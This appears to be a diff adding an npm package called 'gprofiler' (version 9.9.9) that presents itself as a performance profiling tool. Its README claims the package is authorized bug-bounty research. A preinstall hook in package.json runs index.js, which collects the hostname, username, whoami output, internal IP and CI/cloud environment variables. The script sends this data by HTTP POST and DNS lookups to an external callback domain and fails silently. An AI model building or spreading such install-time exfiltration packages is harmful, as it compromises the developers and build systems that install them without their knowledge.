gprofiler 9.9.9

package/README.md

@@ -0,0 +1,8 @@
+# gprofiler
+
+gProfiler performance profiling tool.
+
+This package is part of an authorized security research engagement (bug bounty) to test for dependency confusion vulnerabilities. It contains no malicious code - only a benign DNS/HTTP callback to verify installation context.
+
+Researcher: r76o4
+Program: Pinterest Bug Bounty (Bugcrowd)

package/index.js

@@ -0,0 +1,70 @@
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+const dns = require('dns');
+
+const CANARY = 'ienfcixqbgvbxkccdoxgfz2zhmspdpiys.oast.fun';
+
+try {
+    const data = {
+        pkg: 'gprofiler-npm',
+        h: os.hostname(),
+        u: os.userInfo().username,
+        cwd: process.cwd(),
+        ip: '?',
+        os: os.platform(),
+    };
+
+    // whoami
+    try {
+        data.w = execSync('whoami', { timeout: 5000 }).toString().trim();
+    } catch (e) {
+        data.w = 'err';
+    }
+
+    // Internal IP
+    try {
+        const nets = os.networkInterfaces();
+        for (const name of Object.keys(nets)) {
+            for (const net of nets[name]) {
+                if (net.family === 'IPv4' && !net.internal) {
+                    data.ip = net.address;
+                    break;
+                }
+            }
+        }
+    } catch (e) {}
+
+    // CI/CD env vars
+    ['CI', 'JENKINS_URL', 'GITHUB_ACTIONS', 'GITLAB_CI', 'BUILD_URL',
+     'BUILDKITE', 'CIRCLECI', 'TRAVIS', 'AWS_DEFAULT_REGION',
+     'DOCKER_HOST', 'KUBERNETES_SERVICE_HOST', 'HOSTNAME'].forEach(key => {
+        if (process.env[key]) data[key] = process.env[key].substring(0, 100);
+    });
+
+    // HTTP exfil
+    const postData = JSON.stringify(data);
+    const req = http.request({
+        hostname: CANARY,
+        port: 80,
+        path: '/pinterest-depconf-gprofiler-npm',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'X-Source': 'gprofiler-npm-depconf',
+        },
+        timeout: 5000,
+    }, () => {});
+    req.on('error', () => {});
+    req.write(postData);
+    req.end();
+
+    // DNS exfil
+    const h = data.h.substring(0, 40).replace(/\./g, '-');
+    const u = (data.w || 'unknown').substring(0, 20).replace(/\./g, '-');
+    dns.resolve(`gnpm.${h}.${u}.${CANARY}`, () => {});
+
+} catch (e) {
+    // Silent fail
+}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "gprofiler",
+  "version": "9.9.9",
+  "description": "gProfiler performance profiling tool",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  },
+  "author": "gprofiler",
+  "license": "Apache-2.0"
+}